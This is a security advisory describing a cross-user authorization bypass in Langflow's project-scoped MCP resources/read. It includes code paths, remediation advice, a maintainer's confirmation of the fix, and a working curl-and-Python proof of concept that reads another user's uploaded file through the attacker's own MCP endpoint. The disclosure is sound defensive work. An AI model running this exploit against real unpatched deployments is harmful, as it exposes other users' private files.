Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.
This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.
Verified against local checkout:
langflow-ai/langflowv1.8.308bf98404cfd7737fde57a2588785766cdf1b42ev1.6.8Relevant code path:
src/backend/base/langflow/api/v1/mcp_projects.py:147-193
verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.
src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241
The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).
src/backend/base/langflow/api/v1/mcp_utils.py:163-182
handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:
storage_service.get_file(flow_id=flow_id, file_name=filename)
No check ties the supplied flow_id back to the authenticated user or the current project.
src/backend/base/langflow/services/storage/local.py:141-149
src/backend/base/langflow/services/storage/s3.py:200-217
The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
src/backend/base/langflow/api/v1/mcp_utils.py:102-121
handle_list_resources(project_id=None) lists files for all flows.src/backend/base/langflow/api/v1/mcp_utils.py:333-380
handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
Preconditions:
Verify the issue locally by starting Langflow with:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -a
source .env.verify
set +a
export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"
uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn
app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY
Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:
404)cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail
export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null
export VICTIM_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$VICTIM_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export ATTACKER_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$ATTACKER_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export VICTIM_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"victim-project"}' | jq -r '.id'
)
export ATTACKER_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-project"}' | jq -r '.id'
)
export VICTIM_FLOW_ID=$(
curl -sS -X POST "$BASE/api/v1/flows/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
| jq -r '.id'
)
printf 'cross-project-read-proof\n' > /tmp/secret.txt
export UPLOAD_JSON=$(
curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-F "file=@/tmp/secret.txt"
)
export VICTIM_FILE=$(
printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)
export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"
export ATTACKER_API_KEY=$(
curl -sS -X POST "$BASE/api/v1/api_key/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)
export DIRECT_STATUS=$(
curl -sS -o /dev/null -w '%{http_code}' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
"$VICTIM_URI"
)
export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os
import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client
base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"
async def main():
async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.read_resource(victim_uri)
blob = result.contents[0].blob
print(base64.b64decode(base64.b64decode(blob)).decode().strip())
asyncio.run(main())
PY
)
echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"
Expected output:
Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof
Observed server logs during verification:
GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.
Practical impact includes:
Authorize resources/read against the authenticated context before calling storage.
Resolve flow_id to a database object and require both:
flow.user_id == current_user.id
and, for project-scoped transports, flow.folder_id == current_project_id.
Stop trusting arbitrary file-download URIs as resource identifiers.
Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.
Scope global MCP enumeration helpers to the authenticated user.
handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.
This report is accurate. The vulnerable code path described above (missing
ownership check in handle_read_resource()) has since been fixed.
Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 —
confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1
release, not later).
Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR
#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".
release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032main: b8fe970493fd5fb2e1fc71dfccc79f90b76058faThe fix:
handle_read_resource() now requires an authenticated user context and
resolves the namespace segment of the URI to a Flow row scoped to
Flow.user_id == current_user.id, additionally filtering on
Flow.folder_id == project_id for project-scoped MCP servers
(src/backend/base/langflow/api/v1/mcp_utils.py)..., /, or \ as defense-in-depth against
path traversal, and applies the same containment check to the storage
layer's get_file/get_file_stream/delete_file/get_file_size
(local.py/s3.py, both in langflow and lfx).handle_list_resources() / handle_list_tools() are now scoped to
current_user.id on the global (non-project) MCP server, closing the
cross-user enumeration this report also flagged.Verified independently against langflow-ai/langflow @ 89444c3bb5
(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and
the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py,
21/21 passing) includes test_handle_read_resource_denies_other_users_flow,
which reproduces this report's exact cross-user scenario and asserts it now
raises ValueError("... access denied").
{
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:35:12Z",
"nvd_published_at": "2026-10-05T21:16:35Z",
"severity": "HIGH"
}